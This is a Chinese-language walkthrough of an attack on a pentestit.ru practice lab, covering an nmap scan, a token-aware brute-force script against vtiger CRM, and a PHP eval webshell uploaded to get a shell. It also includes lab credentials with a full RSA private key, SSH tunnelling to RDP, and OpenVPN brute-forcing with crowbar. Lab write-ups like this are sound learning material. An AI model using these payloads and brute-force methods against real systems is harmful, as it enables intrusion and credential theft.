前言
最近发现了一个很好玩的域渗透练习平台:https://lab.pentestit.ru/pentestlabs/7 ,这个平台发给我们一个vpn然后让我们进去他们内网进行渗透测试。这个域中包括各种各样的主机和服务,可以说是非常棒了,今天在这里给大家分享一下一些有意思的地方。好吧我承认,这篇文章是内网渗透之边缘ob,因为网络原因很多东西都受限制,今天在这起一个抛转引玉的作用,有什么不足之处还请大佬们多多关照。
Start!
配置好vpn后,进入其内外,网络拓扑图如下:
这里有两个办公区,入口分别为192.168.101.10和192.168.101.11,我们先进入主办公区进行渗透。
常规思路:
- Nmap进行端口扫描
nmap -sV -p 1-65535 192.168.101.10
- 扫描其目录及信息泄露
这里每个web服务都得扫,然后每个目录下都有可能存在信息泄露,这里我扫的有点快,然后不知咋了,可能是ban了我10分钟ip - 逛80端口网站的时候,在Brup中看到HTTP History的时候发现:
看到wp-content这个文件夹后基本就能确定是WordPress,然后上github看了一下WP的目录结构
证明猜想正确,果不其然,顺手google一发:
仿佛flag就在眼前了,
但是,这里按照给的exp跑的时候,并不能跑出来,仔细一看:
漏洞页面被删了,然后继续测试后面那个EXP,也被开发者删了。
Nmap扫到3个web应用,我们继续看88端口的web服务,发现了指纹:Powered by vtiger CRM 6.3.0
Google: vtiger CRM 6.3.0 cve
发现一个RCE的洞:https://www.exploit-db.com/exploits/38345/,但是这个需要登录而且没有注册按钮! 不过这里没有验证码,所以可以爆一个账户登进去了。
但是这里还是有一个技术难点的,我们抓包的时候可以发现,如下图所示,这里为了防止CSRF,带了一个反csrf的令牌
正常的发包过程是,先进入登录界面,里面有个隐藏字段__vtrftk
然后登录的时候,就带着这个表单中隐藏的字段来发送,和服务端的这个参数进行比较。
所以我们爆破的时候,就得先发包到index抓取到__vtrftk字段,然后带着vtrftk字段再发一个包提交表单。
ps: 有一种比较容易的情形就是,csrf的token在登录请求的返回包中,我们可以直接用Brup的intruder模块中用正则抓取到token,然后作为下一次提交表单的参数。在乌云上有一篇文章说的不错:http://wooyun.jozxing.cc/static/drops/tips-2504.html
但是这里情形比较特殊,搜索了很久之后还是放弃了,自己写脚本来处理吧…
# coding:utf-8
from urllib.request import urlopen
from bs4 import BeautifulSoup
import requests
get_token_url = ''
login_url = ''
def get_token():
html = urlopen(get_token_url)
bs = BeautifulSoup(html,"html.parser")
return bs.find("input", {"type": "hidden"}).attrs["value"]
def get_dict(filename):
try:
f = open(filename, 'r')
result = list()
for line in f.readlines():
line = line.strip()
result.append(line)
print(result)
f.close()
return result
except:
print("Read_error")
exit()
def login():
proxies = {
'http': 'http://127.0.0.1:8080'
}
usernames = get_dict('username.txt')
passwords = get_dict('password.txt')
for username in usernames:
for password in passwords:
__vtrftk = get_token()
data = {
'__vtrftk': __vtrftk,
'username': str(username),
'password': str(password)
}
try:
requests.post(login_url, data=data, proxies=proxies)
except:
print("login error")
if __name__ == "__main__":
login()
这个脚本中我使用了代理127.0.0.1:8080,是因为burp的在本地监听8080端口,我们通过这个代理,可以清晰的看到流量的请求和响应过程,便于我们分析。(同样,我们在编写各类exp的时候,都可以这样做,便于我们分析流量)
梯子很卡,爆了很久之后才出密码。
好了,该exp派上用场。根据exp所述,在上传公司logo的地方可以getshell
在这里我卡了很久,一直都被检测出图片不合法,exp也没说这个坑点。后来我才发现,这里采用了文件内容检测,检测到php字符就认不合法。所以这里用php的一个小知识,<?标签后不加php也能执行,后来我在本地测试过这个好像跟php版本也有一点关系….
<? @eval($_POST['A']); ?>
成功Getshell~
第一个Flag拿到了!
Give_me_all
接下来,信息收集一波就直奔内网了~
但是很烦的是…shell很快就被删掉了,都没来得及看他数据啥的文件,也没来得及维权,上ew来内网漫游。
信息收集,菜单栏一个个点开,邮件、垃圾箱一个都不能少
整理一下:
User Name admin Primary Email admin@test.lab
First Name darthvader Last Name Administrator
Admin Yes Role CEO
Default Lead View Today Status Active
Viewing user details "darthvader Administrator"
Access Key hDUTJPEVCi7KAIQu
这里基本上就弄完了,然后又试了一次上个不死马,结果还是404了,大概可以猜到这个域环境很多人都在打,环境定时恢复快照了吧,因为我又在CRM邮箱中添加了一个管理员,过了一会也没了。所以大概猜想出题人没有想让我们在这进行内网漫游。
Go on!
再来看看第三个web服务
也是一个邮件系统:Roundcube Webmail, 哇….突然发现信息收集真是牛逼…. 试了一次就进去了!
admin@test.lab darthvader
一点进来又送我一个大礼包, 第二个办公区的SSH Get!
![Alt text]https://i.loli.net/2018/08/02/5b62febc4072c.png)
Mattew,
Office 2 GW SSH:
username: tech
pkey:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA01uFJH2WZT9MQgTRG7raRRgK4uDfOSYzWRiw5MRrch9g8iFZ
6XQkh+m0jGOFB/1Z1ZulpmhTwdLuc6NwbBWtgghi+OmmQVkEnO86Oy2djqoQIaZa
m+g4ZZMNPakCiuXYJGepz82dRo+FIeZuuahLA7lt76N88yGbYOneN+uzG/rKu9ra
fx7F9Nj1Mftwy7/uGaumCYy+H8siwitkn+D4Sv8w0hR51OwQ5q1OUV3HWsMZzdWa
HtR5ADbnV1/Pq5Rohy2j34zquhhYiMEa+XSTukobza4DPXZdhgGUCMp9rfvEoVwY
JnOR/Ug6C39cr6gXHMqruK9crXwHJ0PzEjV8QQIDAQABAoIBAAYLLel3Nd+7SaDx
plEWrLshDt6h84Ac2YcIr7Y675+ZyhniXkHQsmK4ihMhnWI3GmSDSN9TSGHYeD0S
RVqx2/5F4x6e/8QKmZkrNg0PJtw3fLKZoSmoIES3Sb+jn5D9NYsE89QfWwnzfKkV
f8ELUOnQWZZqpF4Hbfv9c/9BXCPGoMZC0uURwLn0IfTszr7uJM3ByRte1ui9nkJx
dYJI5ixmPrN1qawqSzLMpBR/2hOAr9aUAaVI/LEYgHlYTPNr21HlDIyHDeWMfeso
I6mCpDhzcGd+TyrXZ3yZ33l8wHzAUrfG0JUVHOs/MxkyVR6+U2E9W9GgMKoMA5Ub
v5MMZGECgYEA9l8PgnucsGxDIUfwDJ/qX5HV5z0zy6MwFyyu0YNi/FcmmbNeKm+s
VRfKaMbrT7YNGRZQZLv5VeS2zhKx6CDOlrCoU2p22yUUiFhxfJSxd1L8GmjVbokn
x3j62L58ypjJRi9nW1P6rYzJ5hEhh8UBds8VvJdxtWnjCJcaOusgMF0CgYEA254l
noRgO9LIHHG6BNsdcq0vPa8e/O0Y3Ald+z1+vcGEkFR8PAVbJEyWAPq/KVHSx7dE
sykfK5DRkyRVndAO8HjCLhcnwwAPolZHlWzqw3XU2wRN+NDqi6sH0Go9CXxcXjFE
vWHzSpJbCVY+Xnf6NltEOdsGJtJlInlN9pwFzTUCgYBKRpJ4difhEGKUsAlw5O1V
7rOcSVlKNWKUOgZiZ8f555RdljP3ez9rUAbX29CpcWs1ewK1u+4JtTBfpEc6glmG
GLBGpbw7iUxNZsygEHwIS15x39Uow/TYMGL/4T3iHnnfzP7OC91xYRalY9jGA+DT
Hs+g0c+YL9oght2DkctciQKBgE2simudMBgYfbQpuPv8r1ae0AWGCXS1OsSf/4Bb
iJb+ea8+Yk4sKscU2zzvcmrfyKfgNskS8zZKWwUqpalSK+Z7H1qD0AlU3TKyR1Ef
G40UALuRsy4cXcgWLoZU/M99D4I09LXyjcTDLLWJrjdlQba14tR/lZZndWOS+bMO
DbM9AoGBAJcGogQGJHF4+uhwc32pQq3fBSVvPALBGP443BSaYz0DqeJbhGVCyOUy
+dc6aNMKqME1vyC5cRpGnwnOGYvlzsBsBfspk4XnM8khQCs5SWRq28hPKb3xDU0a
e97Ix2B3jrPlPlh9vo4xwNaND3xhF8AVQxyH1ET1YbnmVPSe/PgU
-----END RSA PRIVATE KEY-----
这下就很舒服了,转战第二个办公区,同样Nmap探测一下192.168.101.11。
发现2222端口是他的ssh端口,
我这里用finalshell来连接ssh:
或者通过命令ssh tech@192.168.101.11 -p2222 -i office2_ssh.key
来连接ssh也行
发现tmp目录下tech有执行权限
上了一个信息收集的脚本,结果见附件中。
这里列出一些信息收集比较重要的命令:
uname -a # 查看内核/操作系统/CPU信息
cat /proc/version # 查看linux系统的内核版本
head -n 3 /etc/issue # 查看操作系统版本
cat /proc/cpuinfo # 查看CPU信息
dpkg-query -l # 查看安装软件
hostname # 查看计算机名
ps -ef # 查看所有进程
lsusb -tv # 列出所有USB设备
dpkg-query -l # 安装的软件
lsmod # 列出加载的内核模块
env # 查看环境变量
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
dmesg | grep -i 'eth' # 查看网卡信息
ifconfig # 查看所有网络接口的属性
iptables -L # 查看防火墙设置
route -n # 查看路由表
top # 实时显示进程状态
lspci -tv # 列出所有PCI设备
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
w # 查看活动用户
id <用户名> # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
chkconfig --list # 列出所有系统服务
chkconfig --list | grep on # 列出所有启动的系统服务
突然发现tmp目录下还能搭顺风车… 这台机器不重置,前人留下的足迹都在这… 试了几个exp,都无果…
再搭顺风车… 借上面nmap一用。
nmap -sV -Pn 192.168.13.1-3
这里可以扫描到第二办公区三台主机的的3389。
现在我们得想如何才能连上内网中的内网的3389。
两种思路,第一种就是在office2的入口机上面放一个ew代理工具,然后直接攻击机socket5去连接目标,但是有个问题就是我们现在已经挂了VPN了再在攻击机上挂一个代理工具似乎不可行。
另外一条思路就是用ssh建隧道,可能很多人(比如我)都只知道ssh是用来连linux服务器的。殊不知它的隧道转发功能是多么强大。让我们很方便的进行内网穿透。
这里简单的介绍一下,它有三个基本功能:
- 本地端口转发
- 远程端口转发
- 动态端口转发
这里我们用本地端口转发,命令格式如下:
ssh -L [bind-address]<local port>:<remote host>:<remote port> <SSH hostname>
Bind_address:表示本地主机的ip(绑定地址),这里是针对系统有多块网卡,不指定默认127.0.0.1
Local port: 本地主机指定监听的端口
Remote host:远程主机的host
SSH hostname:和local建立隧道的服务器,如上图中SSH Sever服务器的主机
所以这里我们将offic2的入口机当成跳板,通过它连接内网主机的3389,监听三个端口3389,映射到内部的三台主机的3389。
ssh -L 3389:192.168.13.1:3389 -i office2_ssh.key tech@192.168.101.11 -p 2222
三台winodws,轮流尝试MS17010、MS08067等还有hydra爆破。
之前没有记录这里的过程,就只用hydra爆出了一台3389,后来想再去深入一下的时候,网络很差3389连了很久都连不上,就暂时先放着了。
根据之前跑了一个信息收集脚本发现,办公一区的边界机是可以ping通的。
还有一点.. 根据收集到的安装的软件看到了这么几个软件比较眼熟
nmap、openssh啥的就不用说了,值得注意的是openvpn,有可能是内部员工的梯子之类的。
tech@tl11-gw-2:~$ whereis openvpn
openvpn: /usr/sbin/openvpn /usr/lib/openvpn /etc/openvpn /usr/include/openvpn /usr/share/openvpn /usr/share/man/man8/openvpn.8.gz
tech@tl11-gw-2:~$ cd /etc/openvpn
tech@tl11-gw-2:/etc/openvpn$ ls -all
tech@tl11-gw-2:/etc/openvpn$ cat server.conf
把配置文件下载下来,里面记录如下,大致的意思就是 office2的人想进入office1的内网就连接他们1194端口。
client
dev tun
proto tcp
remote 192.168.101.10 1194
remote-cert-tls server
#####
#ping 3
#ping-restart 60
#####
script-security 2
up /etc/openvpn/update-resolv-conf
down /etc/openvpn/update-resolv-conf
## auth for Office-2 user
auth-user-pass "/opt/openvpn/auth.txt"
resolv-retry infinite
persist-key
persist-tun
comp-lzo
<ca>
-----BEGIN CERTIFICATE-----
省略...
-----END CERTIFICATE-----
</ca>
log /var/log/openvpn-client.log
verb 3
现在我们挂上office1区的vpn,应该就能漫游内网了~
但是有没有注意到配置文件的第18行auth-user-pass "/opt/openvpn/auth.txt"
我们连/opt文件夹读的权限都没有…
这就很难受了,不过登录名我们可以知道Office-2
,然后密码只能爆破背锅了,
在安全客发现一篇爆破openvpn的文章:https://www.anquanke.com/post/id/84193
使用Crowbar工具:爆破需要一个特定的ip和端口,还有配置文件,认证文件,用户名和密码。
./crowbar.py -b openvpn -s 192.168.101.11 -p 1194/ -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u Office-2 -c cr2hudaF
详细用法见:https://github.com/galkan/crowbar
GFW把我网掐断了.. 只能等我找个比较好的解决办法再继续玩了…
最后,其实玩这个让我体会最深的就是,渗透的本质就是信息收集,其中还有一些不太懂的地方还希望各位大佬斧正。
哦对,现在这个实验室快出V12和V13域渗透环境了,到时候可以一起分享交流~